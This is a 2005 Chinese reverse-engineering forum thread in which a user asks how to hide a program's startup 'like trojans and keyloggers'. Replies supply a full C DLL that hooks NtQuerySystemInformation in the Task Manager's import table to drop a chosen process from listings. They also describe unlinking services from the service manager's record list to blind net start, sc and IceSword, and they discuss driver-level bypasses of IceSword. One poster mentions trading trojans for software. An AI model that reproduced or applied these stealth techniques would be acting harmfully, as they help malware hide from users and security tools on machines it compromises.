首页
社区
课程
招聘
打扰~启动过程完全隐藏的实现!
发表于: 2005-6-5 13:39 8131

打扰~启动过程完全隐藏的实现!

2005-6-5 13:39
8131
测试过N多办法都不行~

有感觉的帮忙给点建议吧……

谢谢关注!

有些木马或键盘记录什么的都可以不显示登陆过程,当需要时再以热键呼出的~

怎样写程序才可以实现呢?

有没有什么工具有这样的特殊功能呢?

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (15)
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
2
动态嵌入DLL方式
本人在WIN32/WIN64版块里的文章《QQ盗号的核心技术(简单版)》是关于这方面的,你可以参考一下。
至于热键呼出,只需在键盘钩子函数中添加相应代码就可以了
2005-6-5 14:30
0
雪    币: 231
活跃值: (160)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
动态嵌入?

看来该话点时间仔细研究一下了~
2005-6-9 13:29
0
雪    币: 339
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
4
windows2000下简单的进程隐藏

by shadow3

大家一看到这个题目,一定会说,这个也太简单了,用CreateRemoteThread不就行了吗,不过我这里并不讨论使用CreateRemoteThread的方法来实现,因为那样根本不是真正的隐藏。

最近看了篇PJF写的文章,他的方法的确很好,不用进入ring0,利用直接读写物理内存的方法修改系统进程双向链表,但是这种方法通用性不是很好,在XP下我试了试,我的朋友EA在用WINDBG调试的时候发现,好象其中KPCR中CurrentThread结构的偏移可能不同(我自己太懒了,没有看),所以需要直接修改程序,但是还有另外的方法,下面我给出一种最简单的方法,请看代码,如果看了我上一篇文章,这里会十分简单。

#define UNICODE
#include <windows.h>
#include "stdafx.h"
#include <imagehlp.h>

#pragma comment(lib,"imagehlp.lib"

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_PROCESSTHREAD_INFO 0x05
#define MAX_INFO_BUF_LEN 0x500000

typedef LONG NTSTATUS;
typedef DWORD SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);

NTSTATUS (__stdcall *pNTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);

NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);

typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}LSA_UNICODE_STRING,*PLSA_UNICODE_STRING;

typedef LSA_UNICODE_STRING UNICODE_STRING, *PUNICODE_STRING;

typedef LONG KPRIORITY;

typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;

typedef struct _VM_COUNTERS
{
ULONG PeakVirtualSize;
ULONG VirtualSize;
ULONG PageFaultCount;
ULONG PeakWorkingSetSize;
ULONG WorkingSetSize;
ULONG QuotaPeakPagedPoolUsage;
ULONG QuotaPagedPoolUsage;
ULONG QuotaPeakNonPagedPoolUsage;
ULONG QuotaNonPagedPoolUsage;
ULONG PagefileUsage;
ULONG PeakPagefileUsage;
}VM_COUNTERS,*PVM_COUNTERS;

typedef struct _IO_COUNTERS
{
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
}IO_COUNTERS,*PIO_COUNTERS;

typedef enum _THREAD_STATE
{
StateInitialized,
StateReady,
StateRunning,
StateStandby,
StateTerminated,
StateWait,
StateTransition,
StateUnknown
}THREAD_STATE;

typedef enum _KWAIT_REASON
{
Executive,
FreePage,
PageIn,
PoolAllocation,
DelayExecution,
Suspended,
UserRequest,
WrExecutive,
WrFreePage,
WrPageIn,
WrPoolAllocation,
WrDelayExecution,
WrSuspended,
WrUserRequest,
WrEventPair,
WrQueue,
WrLpcReceive,
WrLpcReply,
WrVertualMemory,
WrPageOut,
WrRendezvous,
Spare2,
Spare3,
Spare4,
Spare5,
Spare6,
WrKernel
}KWAIT_REASON;

typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
THREAD_STATE State;
KWAIT_REASON WaitReason;
}SYSTEM_THREADS,*PSYSTEM_THREADS;

typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREADS Threads[1];
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;

int HOOKAPI(void);

BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID lpvReserved)
{

    switch (reason)
{
case DLL_PROCESS_ATTACH:
/*调试信息,表示DLL已经加载*/
HOOKAPI();
MessageBox(NULL,"HOOKAPI","消息",MB_OK);
break;
case DLL_PROCESS_DETACH:
/*调试信息,表示DLL已经卸载*/
MessageBox(NULL,"DLL被卸载","消息",MB_OK);
break;
    }

    return TRUE;
}

int HOOKAPI(void)
{
HMODULE hModule;
HMODULE hInstance;
DWORD dwNtQuerySystemInformation;
DWORD dwSize;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PSTR pszModName;
PIMAGE_THUNK_DATA pThunk;
char debuginfo[50];

hInstance = GetModuleHandle(NULL); //得到进程基地址
wsprintf(debuginfo,"当前进程基地址:0x%x",hInstance);
MessageBox(NULL,debuginfo,"消息",MB_OK);
hModule = GetModuleHandle(TEXT("ntdll.dll");
dwNtQuerySystemInformation = (DWORD)GetProcAddress(hModule,"NtQuerySystemInformation";
//得到NtQuerySystemInformation地址
wsprintf(debuginfo,"NtQuerySystemInformation Address:0x%x",dwNtQuerySystemInformation);
MessageBox(NULL,debuginfo,"消息",MB_OK);

pNTQUERYSYSTEMINFORMATION = NtQuerySystemInformation;
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData(hInstance,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&dwSize);
if(pImportDesc==NULL)
{
MessageBox(NULL,"不能得到import table地址","消息",MB_OK);
return 0;
}
while (pImportDesc->Name)
    { //得到ntdll.dll对应的IMAGE_IMPORT_DESCRIPTOR
        pszModName = (PSTR)((PBYTE) hInstance + pImportDesc->Name);
        if (stricmp(pszModName,"ntdll.dll" == 0)
        {
break;   
}
        pImportDesc++;
    }

pThunk = (PIMAGE_THUNK_DATA)((PBYTE)hInstance+pImportDesc->FirstThunk);
while (pThunk->u1.Function)
    {
        PROC* ppfn = (PROC*) &pThunk->u1.Function;
        BOOL bFound = (*ppfn == (PROC)dwNtQuerySystemInformation);

        if (bFound)
        {
            MEMORY_BASIC_INFORMATION mbi;
            VirtualQuery(ppfn,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
            VirtualProtect(mbi.BaseAddress,mbi.RegionSize,PAGE_READWRITE,&mbi.Protect);

//pThunk->u1.Function = (DWORD *)pHookCreateProcess;
pThunk->u1.Function = (DWORD *)pNTQUERYSYSTEMINFORMATION;
//挂钩NTQUERYSYSTEMINFORMATION
            DWORD dwOldProtect;
            VirtualProtect(mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);
            break;
        }
        pThunk++;
    }
return 1;
}

NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL)
{
HMODULE hDll;
NTSTATUS NtStatus;
SYSTEM_PROCESSES *lpProcInfo,*lptmp,*lptmp1;
NTQUERYSYSTEMINFORMATION pQuerySystemInformation;

hDll = GetModuleHandle(TEXT("ntdll.dll");
if(hDll==NULL)
{
MessageBoxW(NULL,L"not load ntdll.dll",L"information",MB_OK);
return -1;
}
_try
{
pQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hDll,"NtQuerySystemInformation";
NtStatus = pQuerySystemInformation(SystemInformationClass,SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL);

if(NtStatus==STATUS_INFO_LENGTH_MISMATCH)
{
MessageBox(NULL,"STATUS_INFO_LENGTH_MISMATCH","Information",MB_OK);
_leave;
}
if(NtStatus!=STATUS_SUCCESS)
{
MessageBox(NULL,"NtQuerySystemInformation Failed","Information",MB_OK);
_leave;
}
if(SystemInformationClass!=5)
{
return NtStatus;
}
lpProcInfo = (PSYSTEM_PROCESSES)SystemInformation;
while(lpProcInfo->NextEntryDelta!=0)
{
                                               //在这里头了个懒,直接比较的是PROCESSID,其实这里应该比较进程名的
if(lpProcInfo->ProcessId==8)
{
lptmp = (PSYSTEM_PROCESSES)((char *)lpProcInfo +lpProcInfo->NextEntryDelta);
//lpProcInfo->NextEntryDelta += lptmp->NextEntryDelta;
lptmp1->NextEntryDelta += lpProcInfo->NextEntryDelta;
//lpProcInfo->NextEntryDelta=0;
}
lptmp1 = lpProcInfo;
lpProcInfo = (PSYSTEM_PROCESSES)((char *)lpProcInfo +lpProcInfo->NextEntryDelta);
}
}
_finally
{
FreeLibrary(hDll);
}
return NtStatus;
}

和我上一篇文章一样,挂钩windows任务管理器中的NtQuerySystemInformation这个函数,什么你问我这个函数是做什么用的,这个函数的功能很强大,是一个NATIVE API,在定义在NTDLL.DLL中,他的作用是查询系统的各种信息,象大家所熟知的Process32First等API,到最后还是要调用他来获取进程信息,关于这个函数的具体信息,请查阅相关文档,这里我们挂钩这个NATVIE API,修改这个函数的返回数据,从中删除我们要隐藏的进程单元,这样就可以简单的完成隐藏进程,不过这种方法的不足之处是,不使用任务管理器,使用其他软件就能查到被隐藏的进程,这点明显不入PJF的方法。
在各位高手面前献丑了,今天就写到这里吧

***********************************************************

关于隐藏服务的讨论

by shadow3

前几天看到一种方法来隐藏服务

方法来在zzzEVAzzz

EnumServicesStatus等API最终都是历遍SCM内部的ServiceRecordList,这是一个双向链表,在Services.exe进程创建时,由SvcCtrlMain -> ScInitDatabase -> ScGenerateServiceDB 产生。具体位置可从services!ServiceDatabase+0x4获得。
将需要隐藏的服务从链表上断开后,不管是MMC、net start或者SC,甚至IceSword,统统废掉了。

其中的ServiceDatabase是服务数据库的链表头,从NT4代码中,找到其结构为
typedef struct _SERVICE_RECORD {
  struct _SERVICE_RECORD *Prev;       // linked list
  struct _SERVICE_RECORD *Next;       // linked list
  LPWSTR             ServiceName;   // points to service name
  LPWSTR             DisplayName;   // points to display name
  DWORD             ResumeNum;     // Ordered number for this rec
  DWORD             ServerAnnounce; // Server announcement bit flags
  DWORD             Signature;     // Identifies this as a service record.
  DWORD             UseCount;     // How many open handles to service
  DWORD             StatusFlag;   // status(delete,update...)
  union {
    LPIMAGE_RECORD     ImageRecord;   // Points to image record
    LPWSTR         ObjectName;   // Points to driver object name
  };
  SERVICE_STATUS       ServiceStatus; // see winsvc.h
  DWORD             StartType;     // AUTO, DEMAND, etc.
  DWORD             ErrorControl;   // NORMAL, SEVERE, etc.
  DWORD             Tag;         // DWORD Id for the service,0=none.
  LPDEPEND_RECORD       StartDepend;
  LPDEPEND_RECORD       StopDepend;
  LPWSTR             Dependencies;
  PSECURITY_DESCRIPTOR   ServiceSd;
  DWORD             StartError;
  DWORD             StartState;
  LPLOAD_ORDER_GROUP     MemberOfGroup;
  LPLOAD_ORDER_GROUP     RegistryGroup;
} SERVICE_RECORD, *PSERVICE_RECORD, *LPSERVICE_RECORD;
  
NE365 magazine V0.1
From NE365
2005-6-9 23:22
0
雪    币: 151
活跃值: (66)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
努力学C++中....
.
2005-6-10 09:50
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
看不太明白,不过正在学习中
2005-6-11 09:37
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
7
硬着头皮看完了,不过有些不懂

在开始的时候已经有
1)。dwNtQuerySystemInformation = (DWORD)GetProcAddress(hModule,"NtQuerySystemInformation";
为什么后面又出现]
------------------------------------------------------
2)。
while (pThunk->u1.Function)
    {
        PROC* ppfn = (PROC*) &pThunk->u1.Function;
        BOOL bFound = (*ppfn == (PROC)dwNtQuerySystemInformation);

        if (bFound)
        {
-----------------------------------------------------
是不是为了验证ntdll.dll 是否被加载,估计是这样了,
可是这段呢?
3)。
while (pImportDesc->Name)
    { //得到ntdll.dll对应的IMAGE_IMPORT_DESCRIPTOR
        pszModName = (PSTR)((PBYTE) hInstance + pImportDesc->Name);
        if (stricmp(pszModName,"ntdll.dll" == 0)
        {
             break;   
         }
        pImportDesc++;
    }
这里不是可以确保ntdll.dll被加载吗,那么上面第二段while检测不就可以省略了吗?

难道ntdll.dll被加载之后还有可能其中的函数没被映射到进程地址空间????

请nbw大哥指点。。。。
2005-6-11 16:16
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
8
顶一下,
期待指点
2005-6-12 08:54
0
雪    币: 339
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
9
别问我。我也不咋懂。问题已经提交给shadow3了,回头他看到就回答一下。
2005-6-12 13:01
0
雪    币: 339
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
10
楼上的北极朋友,作者回答如下:

  

1.第一次是得到需要hook的函数地址,第2次是在自己的hook例程中,为了实现调用正确的函数的地址(现在看起来有些多此一举,直接把地址写到全局变量中就可以了)

2.不是验证ntdll.dll被加载,是搜索IAT中的NtQuerySystemInformation,因为这个挂接方式就是使用挂接IAT的方法。

3。他的意思是查看当前所对应的IMAGE_IMPORT_DESCRIPTOR中的是否是name字段是否是ntdll.dll的,因为任务管理器导入的不只有ntdll.dll。
2005-6-13 09:49
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
11
多谢指点。

估计是作者考虑到重定位才会再次遍历IAT
2005-6-13 15:08
0
雪    币: 296
活跃值: (20)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
12
如何定位ServicesDataBase?
2005-10-10 11:11
0
雪    币: 339
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
13
偶也不懂。不过现在shadow3已经能写驱动绕过ICESWORD的进程检测了。
2005-10-10 12:34
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
最初由 nbw 发布
偶也不懂。不过现在shadow3已经能写驱动绕过ICESWORD的进程检测了。


是高手wuyanfeng提出的方法,不过只能对现在的公开版本有效,对我用木马换来的个人版本就没用了。要是能搞到作者自己用的内部版就爽了。
2005-10-10 16:03
0
雪    币: 339
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
15
最初由 guoke 发布


是高手wuyanfeng提出的方法,不过只能对现在的公开版本有效,对我用木马换来的个人版本就没用了。要是能搞到作者自己用的内部版就爽了。


我说的这个是shadow3自己分析icesword检测原理然后自己提出来的对付方法。不是wyanfeng那个
2005-10-10 16:07
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
最初由 nbw 发布



我说的这个是shadow3自己分析icesword检测原理然后自己提出来的对付方法。不是wyanfeng那个


哦,不过我想个人版原理变了,那也无法通过分析公开版来找方法了。我也不很清楚是不是个人版的原理完全不同,问问去。
2005-10-10 16:23
0
游客
登录 | 注册 方可回帖
返回
//